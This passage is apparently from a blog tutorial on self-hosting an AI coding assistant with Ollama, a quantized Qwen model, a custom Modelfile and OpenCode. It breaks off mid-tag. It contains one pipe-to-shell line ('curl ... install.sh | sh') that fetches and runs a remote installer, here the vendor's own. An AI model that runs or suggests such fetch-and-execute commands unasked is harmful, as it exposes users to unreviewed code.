[{"content":"\u003cp\u003eGitHub Copilot goes down on a Tuesday afternoon. You\u0026rsquo;re mid-feature, context loaded, and suddenly the autocomplete suggestions stop. You refresh. You wait. You check the status page. Partial outage. No ETA.\u003c/p\u003e\n\u003cp\u003eOr maybe it\u0026rsquo;s a different kind of Wednesday — the one where HR sends a company-wide memo reminding everyone that pasting source code into external AI tools violates the data handling policy you agreed to when you joined. The authentication module you were about to paste into ChatGPT stays un-pasted.\u003c/p\u003e\n\u003cp\u003eThese are the two failure modes of cloud AI coding assistants: unavailable or off-limits. The fix isn\u0026rsquo;t a different cloud provider. The fix is moving the model off the cloud entirely.\u003c/p\u003e\n\u003ch2 id=\"why-self-host-your-ai-coding-assistant\"\u003eWhy Self-Host Your AI Coding Assistant?\u003c/h2\u003e\n\u003ch3 id=\"the-cost-and-privacy-problem\"\u003eThe Cost and Privacy Problem\u003c/h3\u003e\n\u003cp\u003eEvery request to GitHub Copilot or any cloud-based coding API transmits your code context to a third-party server. Not just a line — the surrounding function, the import block, the file header. The model needs that context to generate useful completions, and providing it means sending your code off your machine over HTTPS.\u003c/p\u003e\n\u003cp\u003eGitHub\u0026rsquo;s zero-data-retention policy covers training data, but the payload still traverses their infrastructure. For proprietary algorithms, internal tool code, or anything touching PII, that transmission is exactly what your legal and security teams are flagging. This isn\u0026rsquo;t theoretical — it\u0026rsquo;s a documented compliance gap that GDPR and HIPAA auditors are increasingly citing.\u003c/p\u003e\n\u003cp\u003eBeyond privacy, there\u0026rsquo;s the subscription fatigue problem. A $19/month Copilot plan stacked with a $20/month Claude subscription stacked with API overage charges adds up. Local AI has a marginal cost of zero after the one-time model download.\u003c/p\u003e\n\u003ch3 id=\"the-8gb-rule\"\u003eThe 8GB Rule\u003c/h3\u003e\n\u003cp\u003eConsumer hardware has crossed a threshold. In 2026, an 8GB VRAM GPU — the kind that ships in a standard gaming laptop — can run a 9B parameter coding model (or smaller, faster options like Gemma 4 E4B) well enough to replace a cloud subscription for targeted, file-specific tasks.\u003c/p\u003e\n\u003cp\u003eThe math: a 9B parameter model quantized to Q4_K_M (4-bit medium precision) takes approximately 5.0GB to 5.4GB of VRAM. Your operating system and active applications consume another 1.5-2GB. An 8GB card sits at the edge of viable — tight but functional if you manage your context window. A 12GB or 16GB card removes the anxiety entirely.\u003c/p\u003e\n\u003cp\u003eQuantization is what makes this work. Converting model weights from 16-bit floating-point to 4-bit integers reduces the VRAM footprint by roughly 75%, with negligible impact on code quality for the tasks these models handle well: refactoring, unit test generation, single-file logic problems.\u003c/p\u003e\n\u003ch2 id=\"setting-up-your-local-infrastructure\"\u003eSetting Up Your Local Infrastructure\u003c/h2\u003e\n\u003ch3 id=\"installing-ollama\"\u003eInstalling Ollama\u003c/h3\u003e\n\u003cp\u003eOllama is the runtime that pulls, manages, and serves local models. Think of it as Docker for LLMs — it handles the download, storage, and API serving so you don\u0026rsquo;t have to wrestle with raw GGUF files and \u003ccode\u003ellama.cpp\u003c/code\u003e launch flags.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003emacOS/Linux:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurl -fsSL https://ollama.com/install.sh | sh\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eWindows:\u003c/strong\u003e Download the installer from \u003ca href=\"https://ollama.com\"\u003eollama.com\u003c/a\u003e and run it. Ollama installs as a background service.\u003c/p\u003e\n\u003cp\u003eVerify it\u0026rsquo;s running:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurl http://localhost:11434/api/tags\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eA JSON response listing available models confirms the service is up. An empty \u003ccode\u003emodels\u003c/code\u003e array is fine — you haven\u0026rsquo;t pulled anything yet.\u003c/p\u003e\n\u003ch3 id=\"pulling-the-right-model\"\u003ePulling the Right Model\u003c/h3\u003e\n\u003cp\u003eWhile instruction-tuned models like \u003ccode\u003egemma4:e4b-instruct\u003c/code\u003e are highly capable, they are often tuned to be helpful conversationalists. That\u0026rsquo;s a different optimization target than strict code generation. A conversational model asked to complete a function tends to start with \u0026ldquo;Great question! Here\u0026rsquo;s an approach you might consider\u0026hellip;\u0026rdquo; before the actual code. TUI parsers that expect a clean code response choke on that preamble.\u003c/p\u003e\n\u003cp\u003eUse a model variant trained specifically for clean code output:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Specify the quantization tag explicitly — never omit it\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama pull qwen3.5:9b-instruct-q4_K_M\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis downloads about 5.2GB. On the first run, Ollama loads the weights into VRAM and starts accepting requests. Subsequent requests within the default 5-minute keep-alive window respond instantly.\u003c/p\u003e\n\u003ch3 id=\"optimizing-the-modelfile\"\u003eOptimizing the Modelfile\u003c/h3\u003e\n\u003cp\u003eOllama\u0026rsquo;s default \u003ccode\u003enum_ctx\u003c/code\u003e (context window) is 2,048 tokens — uselessly small for code generation, where a single file can easily exceed that limit. While setting it to 32,768 tokens on an 8GB card used to cause KV cache overflow on older architectures, modern Grouped Query Attention (GQA) models like Qwen 3.5 are highly efficient and can often handle massive contexts. Still, a perfectly safe sweet spot for an 8GB GPU without pushing limits is 8,192 tokens. Create a \u003ccode\u003eModelfile\u003c/code\u003e to lock this in:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-dockerfile\" data-lang=\"dockerfile\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003eqwen3.5:9b-instruct-q4_K_M\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 8192 tokens fits within VRAM budget; prevents KV cache spill on 8GB GPUs\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARAMETER num_ctx \u003cspan style=\"color:#ae81ff\"\u003e8192\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARAMETER temperature 0.2\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARAMETER stop \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026lt;|endoftext|\u0026gt;\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSYSTEM \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;You are an expert software engineer. Return ONLY valid, executable code.\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDo not wrap code in conversational filler or markdown explanations unless explicitly asked.\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eBuild and register the custom model:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama create my-coder -f Modelfile\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTest it:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama run my-coder \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;def parse_csv(filepath: str) -\u0026gt; list[dict]:\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe model should complete the function without preamble.\u003c/p\u003e\n\u003ch2 id=\"integrating-opencode\"\u003eIntegrating OpenCode\u003c/h2\u003e\n\u003ch3 id=\"installing-and-connecting-opencode\"\u003eInstalling and Connecting OpenCode\u003c/h3\u003e\n\u003cp\u003eOpenCode is a terminal-native AI coding agent. It sits in your project directory, reads your files, sends prompts to Ollama\u0026rsquo;s local API, and applies generated code diffs directly to your filesystem. No copy-paste, no context switching to a browser.\u003c/p\u003e\n\u003ch3 id=\"diagram\"\u003eDiagram\u003c/h3\u003e\n\u003cp\u003eThis diagram visualizes the fully local workflow between the filesystem, the OpenCode terminal interface, and the Ollama API serving the quantized model from GPU VRAM.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 624 329\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 8,0 L 136,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,0 L 480,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,16 L 336,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 488,32 L 512,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,64 L 136,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,64 L 480,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,144 L 480,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 64,208 L 424,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 64,288 L 424,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,304 L 480,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,0 L 8,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,144 L 8,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 64,208 L 64,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,0 L 136,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,0 L 344,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,80 L 368,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,208 L 424,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 456,80 L 456,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,0 L 480,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,144 L 480,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,72 L 368,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 456,128 L 456,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='152.000000,16.000000 140.000000,10.400000 140.000000,21.600000' fill='currentColor' transform='rotate(180.000000, 144.000000, 16.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='344.000000,16.000000 332.000000,10.400000 332.000000,21.600000' fill='currentColor' transform='rotate(0.000000, 336.000000, 16.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 368,128 L 368,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='384.000000,128.000000 372.000000,122.400002 372.000000,133.600006' fill='currentColor' transform='rotate(90.000000, 368.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 456,72 L 456,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='472.000000,80.000000 460.000000,74.400002 460.000000,85.599998' fill='currentColor' transform='rotate(270.000000, 456.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='496.000000,32.000000 484.000000,26.400000 484.000000,37.599998' fill='currentColor' transform='rotate(180.000000, 488.000000, 32.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='244' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='260' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='244' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='260' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='260' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='260' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='244' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='260' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='244' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='244' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='260' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='4' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='244' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='260' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='4' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='244' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='260' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='244' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='260' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='260' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003e+\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='260' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='260' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='260' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='260' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='260' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='36' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='36' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='36' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='116' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='116' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='36' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='116' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='100' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='116' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe entire process executes on the local machine without external network calls.\u003c/li\u003e\n\u003cli\u003eThe KV cache and model weights reside strictly within the isolated GPU VRAM block.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eInstall via npm:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enpm install -g opencode-ai\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eConfigure OpenCode to point to your local Ollama instance. Create or edit \u003ccode\u003e~/.config/opencode/opencode.json\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" 